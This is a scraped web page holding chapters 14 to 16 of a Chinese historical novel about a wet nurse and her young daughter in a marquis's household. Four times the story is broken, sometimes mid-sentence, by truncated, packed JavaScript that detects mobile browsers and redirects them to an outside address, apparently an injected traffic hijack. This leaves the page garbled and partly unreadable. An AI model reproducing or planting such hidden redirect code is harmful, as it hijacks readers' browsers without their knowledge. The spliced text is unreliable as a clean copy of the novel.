l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800777|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这也是做奶娘的好处，到时候只管照顾好孩子，其他的什么都不用管。 而燕归堂的丫鬟，却要什么都顾忌。 如今陆云蓁身子重，不用去给安定侯夫人请安，但府上人多，总有人过来探望。甭管私下什么样，面上都得过得去。 下午大房赵大娘子带着东西过来了。 大房孩子不少，楚庚元的大哥已过而立，两人孩子算上妾室生的，有四个，最大的今年十四岁了。 虽然大爷楚庚序是楚家的庶子，可身为长子，他的儿子自然也是楚家的长孙。 而二房夫妻成婚数年，膝下只有一个女儿。 今儿大房的赵婉芝过来，聊了会儿闲话，盯着她肚子瞧，问道：“可请大夫看了？这胎是男还是女？听弟妹又请了个奶娘，也不是嫂子说你，请奶娘也就罢了，咋能还把人孩子也带过来，还是个女孩。亲近多了，肚子里的就算是男的也得变成女儿了。” 陆云蓁：“女儿也好儿子也罢，都是心头肉，都得好好教养。这生了儿子不懂事儿，反而更操心。” 大房的孩子不懂事，赵婉芝还有闲心操心她生男生女。 陆云蓁性子虽柔和，可不是个吃亏不吭声的。 赵婉芝也听出她话里的意思了，扇着扇子道：“弟妹还是稳稳当当养胎，二房就一个女儿，婆母很是看重弟妹这胎呢。” 陆云蓁皱着眉，在这样的婆家，儿子就是立身之本。 见她皱眉，赵婉芝自知失言，又主动说起别的闲话，陆云蓁越想，心中越郁郁。 到最后借着身子不适端茶送客了。 若非陆云蓁借口累了，赵婉芝还不打算走。 如今离临盆之期还有二十多天，她总觉得肚子坠得慌，尤其是跟赵婉芝说过话后，肚子还有些痛。 陆云蓁扶着腰，“锦月，你扶我去床上躺会儿。” 锦月扶着陆云蓁去了床上，“三娘子，可难受得厉害，明月，你快去请大夫去。” 李嬷嬷端来热水，喂陆云蓁喝了几口，跟崔如英说话高高兴兴的，可是跟赵婉芝说话，得打起十二个精神应对。 这会儿肚子难受，明月赶紧去请大夫，带着大夫回来，发现燕归堂进进出出好多人，抓了个丫鬟一问才得知，这么一会儿的功夫，陆云蓁羊水就破了。 外面动静大，许娘子差不多能听出发生什么事，就让崔如英在屋里待着，自己出去看看。 她生的孩子多，若三娘子生产缺人手，自己也能帮上忙。 崔如英点点头，“娘你去吧，我不乱跑。” 许娘子一直没回来，崔如英在屋里都能听见隐忍的痛哼声，听得人心里揪揪的。 今儿还阴天，崔如英望着窗外，三娘子人很好，希望快点生下孩子，别疼那么久。 燕归堂都乱糟糟的，安定侯夫人也过来了，问里面现在什么样。 不等丫鬟说，赵婉芝就道：“这好好的，怎么还早产了。” 安定侯夫人皱眉看了赵婉芝一眼，李嬷嬷心里堵着气，却也没敢说什么，“夫人放心，大夫稳婆都在，里面安然无事。” 赵婉芝也道：“母亲，弟妹头一胎，没经验都不好生些，母亲别急。” 钱夫人道：“云蓁肯定顺顺利利的。” 陆云蓁从进产房到生下，两个多时辰。 陈娘子没赶回来了，就许娘子在门口守着。 下午一片乌云，到傍晚时阴霾已经散开，太阳在西边，铺了漫天云霞。 屋里响起一声响亮的啼哭，安定侯夫人身边围着不少人，听锦月出来禀告，“夫人，三娘子生下了位小公子。” 14. 第十四章 回家 锦月道：“夫人，母子平安，这会儿小公子还在里面收拾清洗。三娘子也没事儿，夫人放心就是，夫人在这等了许久，还是先移步到正厅歇歇吧。” 众人都守在产房外，陆云蓁在里面待多久，外面人就守了多久。钱夫人不放心，丫鬟搬来椅子她都没坐，赵婉芝等人就在一旁陪着。 钱夫人闻言心里的石头终于落地，“佛祖保佑，佛祖保佑，三爷那边已经差人传了话，马上就回来，你进去告诉云蓁，放心就是。对了，奶娘可都安排妥当了？” 许娘子在，陈娘子下午回家还没回来，不过锦月还是答道：“两个奶娘都在燕归堂，一个是大娘子托人找的，另一个是三娘子娘家表嫂找的，一会儿看小公子饿不饿，可以先喂着。” 钱夫人大喜：“府里出了喜事，全府上下每人赏一两银子。燕归堂的丫鬟伺候有功，每人赏二两。” 锦月喜道：“奴婢替燕归堂上上下下谢过夫人。” 钱夫人要等孩子出来，这时楚庚元也从外面赶回来了。他回来得着急，连行礼都忘了，急着问：“母亲，云蓁怎么样了？” 钱夫人笑着道：“生了位小公子，生得也快，没受什么罪，你一会儿进去看看。” 楚庚元眉目舒展开，“那就好，母亲等了半天了吧，先去歇歇。” 钱夫人嗔怪道：“着什么急，还没看见云蓁和孙儿呢。” 一旁赵婉芝脸上也挂着笑，可若仔细看，那笑意并不达眼底。当初她生产时府里可没这么高兴过，不过这会儿连燕归堂的丫鬟们都忙着欢喜，没人注意到她。 二房孙惠茹诚心实意地高兴，公爹偏爱长子，婆婆也得顾及公公的心思，如今三房有了孩子，好好教养，哪里还有大房的事儿。 孙惠茹笑着道：“母亲，您也站了许久了，这里面收拾还得一会儿，不然坐椅子上歇会儿，三弟弟妹也安心。” 钱夫人这才坐下。 孩子身体康健，收拾好之后许娘子给抱出来给钱夫人看了看。 红通通的，小手小脚，这会儿睡着，钱夫人直接把颈上挂着的翡翠佛尊摘了下来，塞到小公子的襁褓里，“像云蓁，也像你。行了行了，风吹着冷，快给抱屋里去。” 许娘子点了点头，小公子的屋子就在陆云蓁屋子的隔壁，方便照看。 许娘子生养过六个孩子，经验也丰富，看孩子是哭是笑，就知道该不该喂奶，该不该换尿布。 这时陈娘子终于回来了，连说几声对不住，“家里有点事儿耽搁了……哎呦，这小公子长得真俊，也像三爷。” 陈娘子并非在陆云蓁生产时出门，也怪不到她头上。 锦月道：“无碍，赶紧照顾小公子吧。” 除了两个奶娘，竹月和秋月也在旁边候着，平日也是她们二人给送饭的。 两人看着孩子，陈娘子这时说道：“许妹子，咱们两个奶娘若都围着孩子转，谁都休息不好，时间一久了奶水也不好。不如这样，分出白天黑夜来，这样也能更好地照顾小公子。许妹子，你说呢？” 陈娘子对跟来的丫鬟道：“也不知三娘子可说过这事儿，秋月姑娘可以去问问。” 秋月道：“各府都是这样，三娘子说这事儿你们商量着来就行。” 请两个奶娘本就是为了轮换，不然谁能日夜不休地照料孩子。两人才过来，也没想到生得这么快，就没定好此事儿，既然陈娘子提了，想必是想白日喂奶，这样夜里能多睡。 却听陈娘子道：“不然许妹子白日喂夜里睡，我就辛苦一下，夜里喂就成了。” 这人都是白天干活晚上睡觉，许娘子夜里喂过孩子，知道喂孩子的难处。 她不是爱占便宜之人，“不如这样，五日你夜里喂，五日我夜里喂，这样也不会太累人。” 陈娘子笑了笑，“没事儿，我轮不住了许妹子夜里喂个两天就成了。” 说着，就把孩子接了过去。 许娘子：“好，都成。” 这会儿也不早了，秋月去给两位奶娘拿饭菜，这小公子出生了，奶娘们更得吃好喝好些。 许娘子回了厢房，崔如英在屋里等了许久，问道：“娘，三娘子生了吗？” 许娘子道：“生了，生了个小公子。” 崔如英道：“那可真好，可娘怎么回来了？” 做奶娘不得喂孩子吗。 许娘子说道：“以后夜里陈娘子来，白日我再喂。” 说起来许娘子这也是占了便宜。 晚上照顾个孩子，辛苦着呢。 崔如英点点头，原来是这样，没想到陈娘子是这么好脾气的人。 正疑惑着，秋月就进来送饭食了，她把木饭盒放桌上，“今日三娘子生产有些晚，你们饿了吧。” 崔如英：“不饿不饿，何况还有点心呢，我和我娘也忧心着，知道三娘子平安生下来小公子，心里光顾着高兴了。” 秋月笑了笑，“这府上大喜，夫人发话了，燕归堂上下每人赏二两银子。许娘子和崔小娘子也沾沾喜气。” 按理说奶娘不是下人，也刚过来，算不得伺候有功，但是侯府不差几两银子。 秋月放下两个小荷包。 崔如英道：“秋月姐姐，替我们谢过夫人。三娘子如今生完了，可有还是什么想吃的？若是想吃包子，我还能去做。” 秋月笑意更深，“我这就去问问。” 等人一走，崔如英看着许娘子，说道：“娘，这是喜气哎，喜气你也要帮我拿着吗？” 许娘子道：“那锁柜子里了，可不能乱花，还是我拿着放心点儿。” 崔如英才不要，“我也得沾沾喜气，我会藏好的，肯定比娘藏砖缝里好。” 许娘子神色一变，“你咋知道？” 崔如英也愣住了，“我胡乱猜的。” 再说陆云蓁已经收拾好，由楚庚元裹着被子抱回了正屋。 没了血腥气，屋里有淡淡的果香和甜香。 陆云蓁因为生子力竭睡了一会儿，这会儿才睁开眼睛。 楚庚元一直握着她的手，“可算醒了，身子可有不适，饿不饿？” 陆云蓁看看肚子，那里还不舒服，生产的时候真觉得自己要疼死了，还好闯过这关了，忍着痛使劲两个多时辰，怎能不饿？ 若问想吃什么，陆云蓁就惦记昨天晚上吃的疙瘩汤，还有包子。 想多吃几个，说肚子大不好生，现在生完了，总不至于还用这个借口。 陆云蓁道：“让小厨房看看昨晚的包子还有吗，再喝点疙瘩汤就行了。” 楚庚元点点头，丫鬟就传话去了。 不一会儿丫鬟又回来，“昨晚的包子不剩什么，不过秋月问过崔小娘子，说三娘子想吃什么，她可以帮着做些。” 崔如英也没来得及吃晚饭就去了小厨房。 调好了馅儿，她又顺手弄了点鸡蛋面糊，里面加了细碎的葱花。 “三娘子现在在坐月子，水煎包就吃不得了，那个硬对牙口不好。包子还得蒸一会儿，我怕三娘子等不及，可以尝尝这鸡蛋饼。” 鸡蛋饼赵大娘也会做， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800778|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这东西几乎人人都会，不过崔如英做的不太一样，面糊调的更稀，葱花多，油不是菜油更不是猪油，而是炸过一大把葱的葱油。 油铺在锅底，一勺面糊往里一撒，然后锅柄顺着手一转，均匀地铺开了，那香味儿也溢出来了。 根本用不着铲子，薄薄一层，闻着就香。 另一个锅里煮着疙瘩汤，这个好得也快，盛出一碗连着鸡蛋饼赶紧让丫鬟端出去。 赵大娘那会儿刚见秋月把饭菜端走，后脚崔如英就来小厨房了，她道：“崔小娘子还没吃饭呢吧，不然也吃块鸡蛋饼。” 赵大娘子接过手，锅底放葱油，再来一铁勺面糊，转一圈儿翻个面儿，差不多就好了。 崔如英点点头，“我拿一张鸡蛋饼就够了，屋里还有别的饭，就先回去了，若是三娘子吃不下，我再想一想别的法子。” 赵大娘把崔如英送出去，厨房两人对一个七岁大的孩子没意见，反而觉得这么小都会做饭着实让人心疼，难怪都说穷人家的孩子早当家。 崔如英也就调了个馅儿，摊了张鸡蛋饼，没耽误太多时间，回去的时候见许娘子还没吃，等着她一块吃呢。 “娘，你可真好，我还带回来张鸡蛋饼，咱们一块吃吧！” 许娘子老实惯了，侯府让她吃啥她就吃啥，现在得喂奶了，可别吃坏了，“你自己吃就成了，行了行了，快吃吧，肚子饿了吧？” 崔如英点点头，她看今晚的饭食也不错。一碗小馄饨，皮薄馅大，只不过放的时间有点久，皮儿有些软，没那么好吃了。 不过馄饨里面有虾仁儿，长这么大，崔如英还没吃过虾呢，虾肉鲜甜，好吃的不得了。 还有两个猪肉烧饼，外壳酥酥的，一咬一掉渣。 里面肉也多，赵大娘做烧饼的手艺真不错。 不过鸡蛋饼是刚做出来的，尝了几口别的崔如英就光吃这个了。葱油香，尤其是猪油做的葱油，鸡蛋饼里崔如英还放了些红薯粉，吃着微弹，不那么面，边上那个圈有点焦，吃到嘴里香香的。 再喝几口馄饨汤，肚子差不多就饱了。不过她正是长身体的时候，这么多不吃完也浪费，所以使劲儿吃了个九分饱。 真舒服。 明早许娘子还要去照顾小公子，得早些睡。 小公子出生了，许娘子就没法子回家喂六丫了，不过还没喂几次呢，就得了六两的赏钱，许娘子也知足了。 有舍有得，如今要紧的事儿就是照顾好小公子。 许娘子现在白天得照顾孩子，夜里要睡觉，所以回家的事儿落在崔如英头上。、许娘子：“三丫，明儿你回去告诉一声，这些日子我就不往家里跑了，六丫托你刘婶儿找人家喝几口奶。” 崔如英道：“那成，我一会儿去找李嬷嬷说一声，明早上回去一趟。” 许娘子道：“路可还记得，可别乱跑。” 崔如英：“知道知道，我还能乱跑呀，我要跑了娘最听话懂事儿的闺女不就没了，以后我还得孝顺你呢。” 许娘子笑着道：“就你嘴贫。” 崔如英去找李嬷嬷了，说明儿上午回去一趟。 李嬷嬷说道：“崔小娘子等一会儿。” 刚刚陆云蓁吃了晚饭，一碗疙瘩汤，两张鸡蛋饼全吃了，说好吃合她胃口。 剩下的进了楚庚元的肚子。 李嬷嬷是想着崔如英年纪小，从城北回城南那么远呢，这要走丢了可怎么好。 进去没一会儿李嬷嬷就出来了，“崔小娘子，三娘子说了，明儿让车夫送你回去。” 15. 第十五章 攒点小钱 得知能坐车回，崔如英眼睛一亮，“那请嬷嬷替我谢过三娘子。” 李嬷嬷刚进去，定然是问陆云蓁去了。 李嬷嬷想，崔如英的确聪明通透，都能想到这上面来。 她心疼崔如英一人走那么远，又赶上陆云蓁晚饭用的香，夫妻俩一直在说崔家孩子不错，所以李嬷嬷才进去问了问陆云蓁的意思。 陆云蓁二话没说就道：“她一个孩子怎么回去，明儿让车夫送吧。” 楚庚元没什么意见，对于懂事之人，总会宽容几分。 陆云蓁还嘱咐，“明儿吃了早饭再走。” 至于崔家众人，陆云蓁没想到，崔如英性子好，可没好到要她连着照顾崔家一众人的地步。 崔如英知道陆云蓁在坐月子，所以没想着去打搅，让车夫送她，估计是看在酱肉包和鸡蛋饼上，坐车回能省不少力气呢。 回去跟许娘子一说，许娘子皱着眉道：“麻烦这作啥？这来回一趟远得很呢……” 崔如英道：“三娘子既然说了，那就不怕麻烦，不然也不会提的。而且我帮忙做些吃食，三娘子估计心里过意不去，所以才说让车夫送我的。” 陆云蓁让人送她，她日后也能回报，并非光占便宜。 至于请车夫吃些东西，许娘子也没嘱咐，崔如英做这些比她做的好多了。 许娘子没再说别的，她道：“明儿回去看看家里缺什么，侯府的事儿别乱往外说，还有你妹妹……” 崔如英道：“放心，我肯定看六丫，娘，我替你回去看看六丫。给钱，缺什么我得拿钱买。” 许娘子数了三十个铜板给她，“行了，睡吧。” 崔如英一骨碌爬起来：“我去刷牙，刷了牙再睡。” 次日一早，崔如英早饭跟着许娘子一块吃的，早饭是八宝粥和蒸饺子，几块点心还有一大杯煮过的羊奶。 本来陆云蓁临盆之期还得二十多天，这二十天若是许娘子天天回去，也能喂喂家里的六丫，这如今要在府里，六丫就没奶喝。 崔如英对奶喜爱程度一般，反倒是许娘子看着羊奶若有所思，欲言又止地看了她好几眼。 就差把想要给六丫喝羊奶写脸上了。 崔如英道：“羊奶我久不喝了，拿回去给六丫吧。” 许娘子：“这是给你的。” 崔如英：“反正我吃饱了，娘，你以后就告诉六丫，对她最好的是她三姐，让她以后孝顺我就行了。再说了，你来这做奶娘不也是为了咱们家吗？我又没少吃少喝。” 八宝粥蒸饺和点心，她就没想着带回去，全给吃了。 假如许娘子要她不吃，把东西带回去给四郎五郎，崔如英是不会答应的。 许娘子唉了一声，她嘴巴笨，只说了句行。崔如英找来水壶，是崔大山打的，把羊奶倒进去之后，背着就坐马车回城南了。 回来的不算早，这会儿城南街上早餐贩好多都已经收摊儿了。 就还剩阳春面和豆浆摊儿。 崔如英进巷子的时候，崔家一众人刚坐下吃早饭。崔如英还没进大门呢就使劲喊了一声爹，崔大山从屋里出来，“三丫回来啦！” 崔如英道：“爹，家里还有包子吗？三娘子让车夫送我回来了，我给车夫送几个包子去。” 崔大山也是疼孩子的，包子没全卖完就回来了，但是这会儿总得倚着客人，就把桌上的五个包子全装了，“你进屋吧，马车是不是在巷口，爹给送去。” 四郎五郎跑出来得快，围在崔如英身边，“三姐你回来啦！我跟弟弟都可听话了，鸡喂得也好，胖了不少呢。” 崔如英挨个摸了摸他俩脑袋，“做得不错，上回带爹带回来的点心尝着了没？好吃吗，你们听话，下回还给你们带。” 崔大郎笑着看着妹妹，二丫把碗筷放下，没出声，她还以为三丫在侯府，把家里都忘了呢。 崔如英摸完弟弟，又问：“大哥二姐，六丫呢？” 二丫：“屋里睡觉呢。” 崔如英：“我进去瞅瞅。” 六丫这会儿正睡着，白了点，比之前好看，崔如英捏了那六丫的小手，把水壶放下，“三娘子昨天生了个小公子，娘得喂小公子，以后没法儿回来。这是羊奶，你今儿喂六丫喝吧。” 妹妹有点瘦，崔如英道：“以后要是有奶，我天天给六丫送回来。” 二丫：“那感情好，米糊糊也不咋爱吃，昨儿刘婶儿抱去临街喂了一顿。” 崔如英从怀里摸了摸，摸出一朵小绢花，这是到街上她让车夫停下买的，花了三文钱，除此之外还买了五文钱的红枣，“姐，家里辛苦你了，娘说多亏了你，不然肯定不放心。对了，抱六丫喂奶给人拿东西了吗？” 二丫看着绢花有些不知所措，谁知崔如英一把塞她手里，她这才说道：“拿了回包子。” 崔如英把许娘子给她的钱拿出来，她给二丫数了二十文，“下回再过去给人买二十个鸡蛋，不然不让六丫喝奶了，我也不知道能不能天天回来。买鸡蛋的时候讲讲价，别说多少就给多少。” 二丫攥着铜板，点点头，“好。” 还剩下两文钱，崔如英给自己留了一文，剩下一文也塞给二丫了，虽然只有一文钱，但是，这也是钱。 崔如英：“拿着应急，缺啥就买啥，娘给你的。” 回来一趟，她就落下一文钱。 二丫攥着钱和绢花，“你吃饭了吗，要不要再吃点啊？等会儿，爹烤了红薯！” 没了包子，还有稀饭和红薯。 崔如英：“给我拿个烤红薯吧，姐我看看家里。” 崔如英和许娘子是十四走的，今天十七，屋里没啥变化，里里外外收拾得也干净，小鸡仔胖了点儿，但是也丑了，黄色的羽毛褪去，毛灰不溜秋的。 院子里的菜长高了，小葱崔大山给重新栽了，绿油油一片。不过家里用葱多，看还有一片心垦过的地，应该是新种的葱。 崔大山送完包子回来，跟着女儿道：“就昨天下雨没出摊，今天生意还行，一天蒸十二屉包子，你大哥跟着我出去卖。” 崔如英道：“爹，二姐要是能去，你让大哥在家歇两天，家里三个人呢，轮着来呗。” 二丫性子老实，但是家里孩子多老实的那个就受气，总看孩子，时间久了心里也难受。 崔大山点点头，“你娘还好吗，有啥吃的你们自己吃了，不用惦记着家里，家里啥都有。” 崔如英想，家里还有啥，一眼望去就能看全了，“还行，小公子出生了，娘这几天白日喂奶，夜里得睡觉，来不及回家。三娘子性子好，不是多事儿的人。” “爹，你给我们打一个这么高这么长的屏风吧，我们跟另一个奶娘住在一块儿，有个屏风还方便点。” 屏风崔大山给别人打过，算是得心应手，“过几天就给你们送去。” 崔如英点点头，“我去刘婶儿家看看。” 还好买了红枣，不然都没东西拿了。 崔如英在刘婶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800779|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿家待了一刻钟，先谢了她带六丫去喝奶，又谢谢这两天照顾崔家。 刘婶儿本不打算要的，这两天光吃崔家的包子都吃好些个，哪能一直要东西。再说了奶娘不是谁都能去当的，她牵个线儿，许娘子能当上是自己的本事，况且给大户人家做奶娘也不是啥轻巧活儿。 崔如英道：“我娘跟您好，惦记着我也没办法，就是还得劳烦婶子多照顾着点儿。六丫太小了，要是谁家生了娃，还得讨口奶喝。” 刘娘子道：“这哪儿的话，让你娘放心！我再打听打听，到时候我抱着六丫去就行了。” 崔如英真心实意道：“多谢婶子！” 刘婶儿：“别跟婶子客气。” 又说了几句话，崔如英就要走，刘婶儿道：“等着，我给你薅点葱吧。” 她看崔家葱不多了，做包子用葱多，她家还有。 崔如英抱了一大捆葱回去，二丫给接过来放到厨房，现在天越来越暖和，在外头会晒蔫巴的。 崔如英看着她这个二姐，这么会儿功夫，已经把绢花带上了。 淡粉色的，还挺好看。 出摊回来家里也不是没事儿做，要买面刷锅，崔大山半点都不闲着。 崔如英也没离开家这么久过，还挺想家里，又进屋看了看六丫，许娘子最惦记她。 二丫在一旁，看着两个妹妹，没忍住问了句，“侯府好吗？” 崔如英道：“还成，咱们家以后也能这么好。” 二丫点了点头，三丫去就去吧，能吃好吃的，不忘了家里就行。 崔如英看二丫好奇，简单说了两句，并鼓励道：“咱们家好好卖包子，以后赚的钱开铺子，还能卖别的，就能赚更多的钱，换大房子了。姐，你一定好好看着爹和大哥，要好好干活不能偷懒。到时候别说一朵绢花，十朵一百朵都有！” 二丫：“真的？” 崔如英：“那当然啦，虽然三娘子的儿子生下来就是小公子，但他们祖辈也不是生下来就是侯爷的。” 姐妹俩说着话，崔大山在外头喊，“三丫，还不走呢？” 他和许娘子想的一样，哪能麻烦人家回回送，送一回接一回，这都三回了。不过已经麻烦了，就别再耽搁，万一侯府还要用车，早回去些好。 所以崔大山才忍不住催。 二丫道：“行了，快走吧，让娘别惦记家里。” 崔如英点点头，不像那日走，今儿还有些不舍，这才多大一会儿。 临走，崔大山给崔如英装了三个烤红薯，杯子也给刷干净了，还塞了五文钱，出门在外用钱的地方多，侯府是好，但不是自己家。 崔如英又高兴了，算了算，除了二两银子，她还有吃早饭剩的五文，回来的一文，崔大山给的五文。 二两十一文钱，都赶上没卖包子前一家的存钱了。 这些钱崔如英打算藏好，这边赶回侯府，崔如英先跟李嬷嬷说了声。 许娘子在东屋里照顾小公子，崔如英没去打搅，想着陈娘子早上刚喂奶回来，这会儿应该在屋里睡觉，就轻手轻脚进的厢房。 她啃了个红薯，把钱藏好，也没弄出太大动静，闲着没事儿，崔如英把生煎包水煎包的方子又想了想，东西越多摊子才能越长久，对以后开铺子也有好处。 一口气不能吃成胖子，慢慢来，现在赚的钱足够家里日子好过点了。 这般想着，临近正午，她看见陈娘子推门进来了。 陈娘子没在里面睡觉吗？ 16. 第十六章 梨花簪子 崔如英有些疑惑，陈娘子怎么从外面回来了，这么长时间，想来跟她一样，是回家来着。 陈娘子看了崔如英一眼，什么话都没说，直接绕过屏风，那边动静窸窸簌簌的，很快，崔如英就听见陈娘子躺下了。 崔如英想，昨儿下大雨，陈娘子也回去了，没想到昨天晚上看了一夜孩子，今天竟然还能回去。 陈娘子对她女儿还挺不错的。 反正陈娘子回去肯定是问过李嬷嬷的，崔如英不爱管闲事。 但她觉得让许娘子白日里喂奶，晚上再回去喂六丫不太可能。一来崔家离得远，不似陈家近，不可能日日让车夫送，来回就得一个多时辰。二来晚上天黑，路也不好走。 不一会儿秋月过来送饭，许娘子不在，崔如英自己吃的。 几块排骨，小条清蒸鱼，素菜青豆炒肉，还有碗贝柱鸡蛋羹，后面两样在崔家都算荤菜的。 鱼是什么鱼崔如英不认识，但吃着很鲜甜，肉是一块一块儿的蒜瓣儿肉，没有腥味儿，就一根刺。 崔如英许久不吃鱼了，啃得干干净净。 而那头陈娘子，又起来吃了顿饭，她瞥了崔如英一眼，一个丫头片子，吃得还怪好的。 吃过午饭，陈娘子就睡起了大觉，崔如英也不知何时醒的，醒来就听见陈娘子在一旁的呼噜声，她翻了个身，清醒了一会儿李嬷嬷轻轻推门进来，“崔小娘子可醒了？” 崔如英坐了起来，“李嬷嬷？” 李嬷嬷小声道：“三娘子想请你过去说说话。” 崔如英来这儿就是为了陪陆云蓁说话，她道：“我收拾收拾，一会儿就过去。” 刚睡醒，崔如英头发还乱糟糟的。 崔如英过去的时候，陆云蓁正靠床坐着，刚生产完脸色有些苍白，唇色也苍白，身上盖着厚被子，头发披散在肩上，头上戴着个抹额。 崔如英忍不住问道：“三娘子，还疼吗？” 陆云蓁摇了摇头，“生的那会儿疼，不过这会儿已经好多了。” 看了孩子心里只有满足，也就忘了疼了。生完之后只有人说她辛苦，还没人问过她疼不疼。 崔如英看了看，“肚子也不见了。” 尽管见过许娘子生孩子，可看到这番场景还是觉得神奇。 “孩子都生出来了，肚子可不就不见了。”陆云蓁朝崔如英招招手，“坐床边来吧，听李嬷嬷说你上午回家来着，家里一切可都还好？” 崔如英点点头，“生意不错，妹妹也挺好。” 陆云蓁点了点头，“你呢，这两天在府上住着吃住可还习惯？” 崔如英道：“住还好，我和我娘不挤，不过三个人同住一屋，还是有些许不方便之处，三娘子，我想让我爹打了个屏风，过几日送来成吗？” 陆云蓁：“我倒忘了你父亲是木匠，你早同我说，让丫鬟去库房拿一面屏风就是。” 生过孩子之后，陆云蓁身上多了股柔和气息，人更温柔了。 崔如英道：“这么点儿小事儿，我爹就能给办了，再说了，前日又刚来，你昨儿还在生孩子，哪有空操心这个呀，三娘子不怪我善作主张就好。” 陆云蓁：“胡说，什么擅作主张，你能把这儿当自己家就好。” 崔如英：“吃的比在家里好，三娘子呢，也得多吃些，这样才能养好身子。” 孩子的关心会让人觉得真挚，陆云蓁不禁笑了笑。 只不过燕归堂厨娘的手艺吃惯了，今儿中午一顿饭，好几样菜，这个两筷子那个三筷子，勉强吃个五分饱，她就吃不下了。 还不如酱肉包吃着香，昨晚的鸡蛋饼也清淡，却不是这个清淡法。 下人说清淡点的最是滋补，话虽如此，可太过清淡，也没胃口。 怀孕九个多月，忌口了九个多月，终于生了，还得忌口。 孩子有奶娘丫鬟照料，根本用不着陆云蓁操心，养好身子才是要紧事。 如今生了儿子，尽管陆云蓁说男女都一样，可在这样的世家大族，有儿子就有底气。 不然昨日赵婉芝怎会过来说那番话。 她早产怪不到赵婉芝头上，要怪也怪她自己不争气，因那么点话就动了胎气。 想起昨日，也是惊险万分，的确该养好身子。 陆云蓁道：“我吃得过于清淡了，这怀孕的时候吃的就清淡，孩子生下来了原以为好些，可中午的菜一点味道都没有。” 崔如英知道许娘子喂奶不能乱吃，刚生产完有清淡些有利于恢复，她道：“三娘子，这样吃要吃几日呀？” 陆云蓁：“我李嬷嬷去问了大夫，怎么也得三五日，后头就好些了。” 崔如英想，坐月子不能吃硬的，辛辣刺激恐怕也不利于恢复。 就算不这么清淡，也不能乱吃。 崔如英道：“三娘子，不然试试春饼？开春正是吃春饼的时候，薄薄一张饼，卷着菜吃，什么都能卷呢，有肉有菜，其实也清淡。” 有时候有肉不一定好吃，没肉也不一定难吃。 崔如英也不会日日都做饭，她又不是府上的厨子，又不给她月钱，偶尔帮帮忙，再给出出主意，这就差不多了。 两个厨娘呢，该她们操心陆云蓁吃什么。 崔如英道：“这春饼面得软一点，烙出来再用热气熏熏，就不会硌牙，里面的夹的菜可以试试白菜豆腐粉条，再炒一些肉丝，就差不多了。” 就比如京酱肉丝，那道菜也好吃，不过厨娘应该不会做这道。 陆云蓁被崔如英说的有些饿了，“可以试试，不然你晚上也吃这个，还是想吃别的。三丫，你要想吃什么，跟小厨房说就是。” 崔如英还是不太习惯这个名字，但她没有犹豫，“我也吃春饼吧！三娘子，我一会儿去小厨房问问赵大娘，能做不。” 京城人吃炒菜米饭多，面食少。 春饼也多是普通人家爱吃，用猪油炒，连肉都不用放，冬天囤的白菜、拿豆子换块豆腐、加上一些剩的碎粉头，炒一大锅，一家人就能美美吃上一顿。 陆云蓁倒是吃过春饼，不过是巴掌大薄薄一张，都是吃烤鸭时卷着吃。但今儿听崔如英说起那些清淡的白菜豆腐，反而勾起她的胃口。 陆云蓁道：“那可是麻烦你了。” 崔如英：“不麻烦，毕竟我也吃呀。” 陆云蓁还是过意不去，这样懂事的孩子，的确招人稀罕，“等会儿儿吧，一会儿把孩子抱来，你也看看。” * 崔如英去小厨房看了看，赵大娘擅长面食，王大娘擅做炒菜，听崔如英说，也就八九不离十。 不过光吃菜哪儿行，再去外头买一只烤鸭，德胜斋的烤鸭最好吃。 崔如英一听还要买烤鸭，遂道：“可有酸萝卜，用酸萝卜和鸭架炖点汤，肯定好喝，也开胃，省着油腻。” 赵大娘觉得这法子不错，她专心做饼，只不过做出来的不太一样，“我烙出来的面饼怎么这么硬呢？” 以前做春饼，都是用饺子皮大小的面皮蘸上油，一张一张压上，擀薄了再上锅蒸，蒸熟的饼皮软，一张张揭开正好。 这烙春饼还是头一回。 崔如英道：“婶子，得热水和面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800780|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越软越好，面团中间放点油酥。一张饼皮能从中间一分为二最好。然后烙好的饼皮得放蒸锅上，热气熏着。” 崔如英手有点痒痒，她也想吃春饼，好不容易趁机吃一回，可别做差了。撸开袖子，热水和面，赵大娘吓一跳，赶紧给接过来。 这么小的人哪儿碰那么热的水，她皮糙肉厚受得住。 这样活的面的确软，薄薄一张饼皮，平底锅煎一会儿，两面就金黄了。 这样拿出来也有些硬，有些脆，不过等在蒸锅里放了一会之后的确软了。 